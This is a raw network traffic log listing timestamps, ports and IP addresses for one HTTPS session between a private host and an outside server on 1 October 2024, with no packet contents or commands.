Oct 1, 2024 07:31:43.194624901 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.194756985 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.194803953 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.194812059 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.241467953 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.261554956 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.261671066 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.261676073 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.261688948 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.261732101 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.261750937 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.261812925 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.261897087 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.261974096 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.261989117 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.261993885 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.262054920 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.262056112 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.262144089 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.262209892 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.262370110 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.262423992 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.262563944 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.262607098 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.262629032 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.262635946 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.262722015 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.262722015 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.262789011 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.262854099 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.262877941 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.262943983 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.263055086 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.263226032 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.263267994 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.263273001 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.263314962 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.263340950 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.263411045 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.263417006 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.263456106 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.263529062 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.263600111 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.282229900 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.282315016 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.282485008 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.282563925 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.349257946 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.349327087 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.349401951 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.349412918 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.349488974 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.349498034 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.349566936 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.349572897 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.349692106 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.349750996 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.349756002 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.349791050 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.349858999 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.349865913 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.349973917 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.350052118 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.350058079 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.350147009 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.350193977 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.350198030 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.350250006 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.350305080 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.350317001 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.350421906 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.350476980 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.350481987 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.350507021 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.350553036 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.350563049 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.350776911 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.350837946 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.350850105 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.350855112 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.350927114 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.350961924 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.351016045 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.369741917 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.369808912 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.369878054 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.369957924 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.436636925 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.436690092 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.436757088 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.436764956 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.436824083 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.436867952 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.436948061 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.437001944 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.437001944 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.437009096 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.437195063 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.437211990 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.437227011 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.437508106 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.437525034 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.437525034 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.437530041 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.437571049 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.437635899 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.437635899 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.437640905 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.437689066 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.438056946 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.438136101 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.438136101 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.438144922 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.438321114 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.438345909 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.438349962 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.438388109 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.438421965 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.438421965 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.438427925 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.438457012 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.438467979 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.438488007 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.438492060 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.439341068 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.439341068 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.449107885 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.449487925 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.457377911 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.457474947 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.457581043 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.457824945 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.524377108 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.524441957 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.524482012 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.524490118 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.524499893 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.524569035 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.524569035 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.524585962 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.524602890 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.524657011 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.524712086 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.524790049 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.524935007 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.525048018 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.525052071 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.525068998 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.525120020 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.525137901 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.525211096 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.525212049 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.525221109 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.525269985 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.525365114 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.525439024 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.525543928 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.525619030 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.525619984 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.525631905 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.525724888 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.525825024 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.525877953 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.526011944 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.526067019 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.526143074 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.526216030 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.533104897 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.533196926 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.545028925 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.545157909 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.545175076 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.545228004 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.611897945 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.611970901 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.612016916 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.612024069 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.612086058 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.612097979 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.612097979 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.612104893 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.612139940 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.612230062 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.612265110 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.612320900 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.612334013 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.612394094 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.612518072 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.612598896 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.612713099 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.612766027 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.612821102 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.612899065 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.612957001 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.613058090 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.613279104 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.613354921 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.613360882 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.613410950 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.613477945 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.613539934 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.613552094 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.613610029 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.613688946 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.613771915 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.615853071 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.615879059 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.632632971 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.632742882 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.632985115 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.633040905 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.699949980 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.700043917 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.700057030 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.700119972 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.700119972 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.700130939 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.700149059 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.700182915 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.700187922 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.700244904 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.700244904 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.700258017 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.700304985 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.700367928 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.700419903 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.700422049 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.700433016 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.700479031 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.700567961 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.700614929 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.700925112 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.700963020 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.700974941 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.700979948 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.700999022 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.701024055 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.701024055 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.701030970 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.701108932 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.701109886 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.701193094 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.701246023 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.701347113 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.701421022 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.703480005 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.703577042 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.720001936 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.720107079 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.720120907 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.720192909 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.787070990 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.787132025 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.787185907 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.787185907 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.787189960 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.787200928 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.787317038 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.787373066 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.787430048 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.787435055 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.787440062 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.787534952 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.787590027 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.787640095 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.787796021 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.787858963 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.787944078 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.788022995 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.788032055 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.788039923 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.788115978 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.788233042 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.788315058 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.788389921 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.788465977 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.788589001 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.788626909 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.788642883 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.788649082 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.788666964 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.788799047 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.788840055 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.788855076 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.788942099 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.789009094 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.789014101 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.795793056 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.795875072 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.807706118 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.807815075 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.807930946 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.807988882 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.874722958 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.874799967 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.874811888 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.874819994 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.874871969 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.874991894 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.875045061 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.875463963 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.875515938 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.875536919 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.875544071 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.875574112 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.875576019 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.875597954 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.875602007 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.875612974 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.875654936 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.875658989 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.875695944 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.875700951 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.875715971 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.875746965 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.875814915 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.875821114 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.875830889 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.875890017 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.875895023 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.876070976 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.876110077 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.876127005 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.876132965 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.876225948 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.876225948 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.876352072 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.876405954 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.876498938 CEST	443	49710	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:43.876564980 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.877281904 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.877449036 CEST	49710	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:43.895172119 CEST	443	49710	67.212.175.162	192.168.2.8
